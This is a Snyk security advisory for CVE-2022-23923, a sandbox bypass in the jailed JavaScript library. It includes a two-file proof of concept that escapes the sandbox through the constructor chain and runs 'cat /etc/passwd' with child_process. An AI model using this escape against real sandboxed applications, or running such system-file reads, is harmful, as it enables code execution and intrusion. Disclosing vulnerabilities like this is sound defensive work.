Sandbox Bypass Affecting jailed package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.29% (70th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-JAILED-2391490
  • published6 Apr 2022
  • disclosed2 Feb 2022
  • creditCristian-Alexandru Staicu, Abdullah Alhamdan

Introduced: 2 Feb 2022

CVE-2022-23923  (opens in a new tab)
CWE-265  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for jailed.

Overview

jailed is an a small JavaScript library for running untrusted code in a sandbox.

Affected versions of this package are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.

PoC

//poc.js
var jailed = require('jailed');
var path = './jailed-plugin.js';

var api = {
    alert: console.log
};

var plugin = new jailed.Plugin(path, api);
//jailed-plugin.js
application.remote.alert(this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /etc/passwd").toString());

CVSS Scores

version 3.1